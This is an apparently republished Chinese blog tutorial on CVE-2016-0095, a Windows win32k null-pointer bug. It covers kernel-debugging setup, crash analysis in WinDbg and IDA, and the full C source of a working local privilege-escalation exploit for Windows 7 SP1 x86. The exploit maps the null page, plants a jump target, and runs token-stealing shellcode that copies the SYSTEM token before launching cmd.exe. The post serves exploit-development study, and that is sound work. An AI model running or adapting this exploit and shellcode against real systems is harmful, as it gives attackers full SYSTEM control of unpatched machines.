前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2016-0095从PoC到Exploit

CVE-2016-0095从PoC到Exploit

作者头像
WeaponX
发布2018-07-11 15:51:22
1.1K0
发布2018-07-11 15:51:22
举报
文章被收录于专栏:BinarySecBinarySecBinarySec

利用Vmware进行双机调试

  1. 使用管理员模式运行cmd
  2. bcdedit /copy {current} /d “Windwos7[DEBUG]”
  3. 开启调试bcdedit /debug ONbcdedit /bootdebug ON
  4. 在Vmware的设备管理添加一个串口\\.\pipe\com_1
  5. 执行Windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe

注意 vmware 有个坑,默认添加打印机占用串口com1口,所以我们开启内核调试的串口就变成了com2,不过只要删除了com1即可。

利用VirtualKD和Vmware双机调试

Vmware利用串口进行双机调试就一个感受,慢。串口波特率115200也就是传输速度在14KB/s左右。

VirtualKD下载地址: http://virtualkd.sysprogs.org/download/

前提

造成BSoD的代码拿来直接编译不了,稍微修改了一下:

  • 加入了#include <tchar.h>
  • 声明WIN32KAPI#define W32KAPI DECLSPEC_ADDRSAFE
  • 获取KiFastSystemCall的地址:PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");

修改后的源代码如下:

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI  DECLSPEC_ADDRSAFE
unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
        0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
    bitmap.bmBits = bits;
    SetLastError(NO_ERROR);
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
    return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
{
    PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }
}
void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
    Trigger_BSoDPoc();
    return 0;
}

使用vs2015编译,放到虚拟机运行不了,提示缺少VSRUNTIME140.dll,此时装一个vc++ 2015的运行环境即可。运行后直接蓝屏重启。

这个PoC对应的是一个内核漏洞,所以需要使用虚拟机进行双机调试。

然后执行程序,Windbg捕获到异常:

Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
93d50560 f6402401        test    byte ptr [eax+24h],1

发现程序在此崩溃,首先看调用栈:

kd> kb
ChildEBP RetAddr  Args to Child              
951909a0 832b34af 00000000 00000000 832ad5a0 win32k!bGetRealizedBrush+0x38
951909b8 83329b5e 95190af8 00000001 95190a7c win32k!pvGetEngRbrush+0x1f
95190a1c 833ab6e8 fe5f9018 00000000 00000000 win32k!EngBitBlt+0x337
95190a54 833abb9d fe5f9018 95190a7c 95190af8 win32k!EngPaint+0x51
95190c20 83e8d1ea 00000000 ffbff968 141006fe win32k!NtGdiFillRgn+0x339
95190c20 77c670b4 00000000 ffbff968 141006fe nt!KiFastCallEntry+0x12a
0028fe38 7662066b 7662064f 5f010631 1f040708 ntdll!KiFastSystemCallRet
0028fe3c 7662064f 5f010631 1f040708 141006fe gdi32!NtGdiFillRgn+0xc
0028fe5c 003310de 5f010631 1f040708 141006fe gdi32!FillRgn+0xb2
WARNING: Frame IP not in any known module. Following frames may be wrong.
0028fee4 766b3c45 7ffde000 0028ff30 77c837f5 0x3310de
0028fef0 77c837f5 7ffde000 77e6f957 00000000 kernel32!BaseThreadInitThunk+0xe
0028ff30 77c837c8 0033133a 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ff48 00000000 0033133a 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b

随后,使用ln看一下,

kd> ln
(93d50528)   win32k!bGetRealizedBrush+0x38   |  (93d50c9c)   win32k!xxxEnableWindow

崩溃发生在win32k.sys中的bGetRealizedBrush函数。此时eax为0,eax+24h = 0x00000024,内存不可读取,造成BSoD。

然后使用ida载入win32k.sys,看bGetRealizedBrush函数。

.text:BF84053C                 xor     eax, eax
.text:BF84053E                 jmp     loc_BF840C92
.text:BF840543 ; ---------------------------------------------------------------------------
.text:BF840543
.text:BF840543 loc_BF840543:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12j
.text:BF840543                 push    ebx
.text:BF840544                 mov     ebx, [ebp+arg_4]
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+P], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax
.text:BF840560                 test    byte ptr [eax+24h], 1; => Creash here!!!

可以看到,eax是从ebx+34h获取的。ebx则是第二个参数。

取到的eax为fe5f9008

eax+1ch为0,现在需要知道+1ch是什么东西。

*************************************************************************
***                                                                   ***
***                                                                   ***
***    Your debugger is not using the correct symbols                 ***
***                                                                   ***
***    In order for this command to work properly, your symbol path   ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: _EBRUSHOBJ                                    ***
***                                                                   ***
*************************************************************************
Symbol _EBRUSHOBJ not found.

回溯到win32k!NtGdiFillRgn当程序准备调用win32k!EngPaint时候:

kd> dd esp
9760ba5c  fe5fadb8 9760ba7c 9760baf8 fd795d60
9760ba6c  00000d0d 050106dd 0026fd34 93a6b864
9760ba7c  000038bc 00000000 00000000 00000008
9760ba8c  00000008 00000001 86a5e458 00000004
9760ba9c  9760bb04 83e51904 86a5e660 9760bae4
9760baac  fe9ff008 00000002 881a34c8 88543030
9760babc  ffffffff 00000000 00000000 00c1309c
9760bacc  00000000 83e7d7ad 0000008d 6aab658b

函数的声明如下:

int __stdcall EngPaint(struct _SURFOBJ *a1, int a2, struct _BRUSHOBJ *a3, struct _POINTL *a4, unsigned int a5)

可以得到fe5fadb8=>_SURFOBJ;9760baf8=>_BRUSHOBJ

然后在win32k!bGetRealizedBrush下断点,断下来后看参数。

kd> dd esp
9760b9a4  939734af fd7eb188 9760baf8 9396d5a0
9760b9b4  9760baf8 9760ba1c 939e9b5e 9760baf8
9760b9c4  00000001 9760ba7c fe5fadb8 00000000
9760b9d4  00000000 00000000 00000000 00000000
9760b9e4  00000023 00000023 00000000 fe5fada8
9760b9f4  939e9827 fe5fada8 ffffffff 00000030
9760ba04  00000001 9760ba7c fe5fadb8 00000000
9760ba14  00000000 00000000 9760ba54 93a6b6e8

发现

kd> dd 9760baf8
9760baf8  ffffffff 00000000 00000000 00edfc13
9760bb08  00edfc13 00000000 00000006 00000004
9760bb18  00000000 00ffffff fd7957c4 00000000
9760bb28  00000000 fe5fada8 ffbff968 ffbffe68
9760bb38  ffbbd540 00000006 fd7eb188 00000014
9760bb48  000000aa 00000001 83f71f01 83eba892
9760bb58  9760bb78 9760bbac 00000000 00000000
9760bb68  9760bc10 9760bbac 00000000 00000000

9760baf8+34h的值为fe5fada8,这个值恰好为fe5fadb8+10h,所以fe5fada8+1ch = fe5fadb8+10h+ch

打开brush.h看到_SURFOBJ结构体定义为:

typedef struct _SURFOBJ
{
    PVOID  dhsurf;
    PVOID   hsurf;
    PVOID  dhpdev;
    PVOID    hdev;
    LARGE_INTEGER   sizlBitmap;
    ULONG   cjBits;
    PVOID   pvBits;
    PVOID   pvScan0;
    LONG    lDelta;
    ULONG   iUniq;
    ULONG   iBitmapFormat;
    USHORT  iType;
    USHORT  fjBitmap;
} SURFOBJ;

所以,漏洞的本质是_SURFOBJ->hdev没有定义导致引用不可读内存,造成访问违例触发BSoD。

利用

x86的win 7 不存在 零页内存分配保护和SMEP。

所谓SMEP是一种安全措施,就是不能在内核态执行用户态的代码。

typedef NTSTATUS NtAllocateVirtualMemory(
    IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect
    )

利用BaseAddress参数在零页内存中分配空间,但是当BaseAddress指定为0时,系统会寻找第一个未使用的内存块来分配,而不是在零页内存中分配。所以指定BaseAddress为1即可。

.text:BF840544                 mov     ebx, [ebp+arg_4]
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+P], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax ;注意,此时[ebp+arg_4]就是0了
.text:BF840560                 test    byte ptr [eax+24h], 1
.text:BF840564                 mov     [ebp+var_1C], esi
.text:BF840567                 mov     [ebp+var_10], esi

之后我们只需要找能控制程序指令流程的点,也就是call或者jmp一个我们可以改变的值上。因此我们找到了如下可能可以利用的点。

第一点

.text:BF84076B                 push    esi
.text:BF84076C                 push    ecx
.text:BF84076D                 push    ebx
.text:BF84076E                 call    [ebp+arg_8]
.text:BF840771                 test    eax, eax

第二点

.text:BF840816                 mov     edx, [ebx+0Ch]
.text:BF840819                 push    ecx
.text:BF84081A                 push    edx
.text:BF84081B                 push    [ebp+var_14]
.text:BF84081E                 push    eax
.text:BF84081F                 call    edi

第三点

.text:BF840C27                 push    [ebp+var_24]
.text:BF840C2A                 push    esi
.text:BF840C2B                 push    [ebp+var_1C]
.text:BF840C2E                 push    ecx
.text:BF840C2F                 push    eax
.text:BF840C30                 push    ebx
.text:BF840C31                 call    [ebp+arg_8]

回溯了整个函数发现eb[+arg_8]也就是这个函数的第三个参数其实我们是无法控制的。再会看第二点,寻找edi的来源,发现其实edi是可控。

可以发现edi来源与[[ebp+arg_4]+748h]不过此时[ebp+arg_4]是0,所以我们可以分配零页内存控制748h的数据。控制了edi就可以控制程序指令流程执行我们的token-steal shellcode来完成token的替换。

接下来需要控制程序执行到这里,继续回溯。

程序要走到我们能控制的地方需要图中红框的条件成立,经调试si=1。看到eax其实是0,所以需要控制590h和592h的值均为1。

最终我们的exploit如下:

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI  DECLSPEC_ADDRSAFE
typedef NTSTATUS (WINAPI *pNtAllocateVirtualMemory)(
    IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect
    );
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID
// 4 params
int __stdcall TokenStealingShellcodeWin7(int a1,int a2,int a3,int a4) {
    // Importance of Kernel Recovery
    __asm {
        ; initialize
            pushad; save registers state
            xor eax, eax;
            mov eax, fs:[KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
            mov ecx, eax; Copy current _EPROCESS structure
            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
            SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
            popad; restore registers state
    }
    return 0;
}
unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
        0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
    bitmap.bmBits = bits;
    SetLastError(NO_ERROR);
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
    return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
{
    PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }
}
void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
    PVOID base = (PVOID)0x1;
    SIZE_T size = 0x1000;
    FARPROC addr = GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)addr;
    NTSTATUS status = NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &base,
        0,
        &size,
        MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE
        );
    if (status != 0)
    {
        printf("[*]can not allocate null page");
    }
    memset(0x0, 0, 0x1000);
    void* bypass_one = (void *)0x590;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x592;
    *(LPBYTE)bypass_two = 0x1;
    void* jump_addr = (void *)0x748;
    *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
    Trigger_BSoDPoc();
    system("cmd.exe");
    return 0;
}

一定要注意,token-steal shellcode这个函数一定要有四个参数,以为call edi的时候传入了四个参数,如果不写参数会导致堆栈不平衡造成BSoD(如果在shellcode中平衡堆栈也可以)。

执行结果

参考

http://blog.nsfocus.net/null-pointer-vulnerability-defense/ https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/ http://blog.csdn.net/one_in_one/article/details/51766912 https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2017-08-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用Vmware进行双机调试
  • 利用VirtualKD和Vmware双机调试
  • 前提
  • 利用
  • 参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档